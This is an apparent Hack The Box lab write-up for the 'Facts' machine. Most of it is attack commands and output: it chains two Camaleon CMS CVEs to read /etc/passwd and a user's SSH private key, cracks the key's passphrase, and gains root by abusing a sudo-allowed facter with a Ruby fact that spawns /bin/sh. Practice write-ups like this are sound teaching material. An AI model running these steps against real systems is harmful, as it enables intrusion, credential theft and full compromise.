HTB Facts Writeup
Overview
Facts is a Linux machine that involves exploiting multiple vulnerabilities in Camaleon CMS. By chaining a privilege escalation vulnerability with a path traversal issue, it is possible to obtain SSH credentials and gain initial access. Root access can then be achieved through a misconfigured sudo permission on facter.
Reconnaissance
Nmap Scan
1
nmap -A 10.129.39.102
Results
1
2
22/tcp open ssh
80/tcp open http
The target exposes an SSH service and a web application.
Web Enumeration
Directory Fuzzing
1
2
3
4
5
6
ffuf -u "http://facts.htb/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/common.txt
feroxbuster --url http://facts.htb/ \
--depth 2 \
--wordlist /home/kali/Lists/SecLists/Discovery/Web-Content/common.txt
Discovered Endpoints
1
2
3
4
/admin
/admin.cgi
/admin.pl
/admin.php
Accessing these paths redirects to:
1
/admin/login
Account Registration
Default credentials were unsuccessful:
1
admin : admin
A new account was created:
1
2
Username: jinx
Password: FirstUser@01
CMS Identification
While exploring the application, the following information was identified:
1
2
Camaleon CMS
Version 2.9.0
Researching known vulnerabilities revealed two relevant CVEs:
| CVE | Description |
|---|---|
| CVE-2025-2304 | Privilege Escalation |
| CVE-2024-46987 | Path Traversal |
Public PoCs were available for both vulnerabilities.
Exploitation
CVE-2025-2304 - Privilege Escalation
The privilege escalation vulnerability was exploited using the public PoC.
1
python3 exploit.py http://facts.htb/ jinx FirstUser@01
Output:
1
2
3
4
[+] Login successful!
[*] User ID: 5
[*] Sending exploit...
[+] Exploit successful!
After logging out and back in, the account was promoted to:
1
Administrator
CVE-2024-46987 - Path Traversal
With administrative privileges obtained, the path traversal vulnerability could be leveraged to read arbitrary files.
Reading /etc/passwd
1
2
3
4
5
python3 CVE-2024-46987.py \
-u http://facts.htb/ \
-l jinx \
-p FirstUser@01 \
/etc/passwd
Relevant users:
1
2
trivia
william
SSH Key Discovery
The next step was to inspect SSH-related files.
Authorized Keys
1
2
3
4
5
python3 CVE-2024-46987.py \
-u http://facts.htb/ \
-l jinx \
-p FirstUser@01 \
/home/trivia/.ssh/authorized_keys
Private Key Extraction
1
2
3
4
5
python3 CVE-2024-46987.py \
-u http://facts.htb/ \
-l jinx \
-p FirstUser@01 \
/home/trivia/.ssh/id_ed25519
The private SSH key was successfully retrieved.
Initial Access
Cracking the SSH Key
Convert the key into a crackable format:
1
ssh2john id_ed25519 > hash.txt
Run John the Ripper:
1
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Recovered passphrase:
1
dragonballz
SSH Login
The key permissions must first be corrected:
1
chmod 600 id_ed25519
Login using the extracted key:
1
ssh -i id_ed25519 trivia@facts.htb
Enter the recovered passphrase:
1
dragonballz
User Flag
After enumerating the system, access to the second user’s home directory was obtained.
1
2
cd /home/william
cat user.txt
User flag obtained.
Privilege Escalation
Sudo Enumeration
Checking sudo permissions:
1
sudo -l
Output:
1
/usr/bin/facter
The facter binary can be abused to execute arbitrary Ruby code as root.
Exploiting Facter
Create a custom Ruby fact:
1
mkdir -p /tmp/custom
1
2
3
4
5
6
7
cat > /tmp/custom/shell.rb << 'EOF'
Facter.add('shell') do
setcode do
exec('/bin/sh')
end
end
EOF
Execute the custom fact:
1
sudo /usr/bin/facter --custom-dir=/tmp/custom shell
Root Access
1
whoami
Output:
1
root
Retrieve the root flag:
1
2
cd /root
cat root.txt
Root flag obtained.
Conclusion
This machine demonstrates how multiple vulnerabilities can be chained together:
- Exploit CVE-2025-2304 to obtain administrator privileges.
- Abuse CVE-2024-46987 to read arbitrary files.
- Extract and crack an SSH private key.
- Gain user access through SSH.
- Escalate privileges using a misconfigured sudo rule on
facter.
The combination of application-layer vulnerabilities and local privilege escalation results in full system compromise.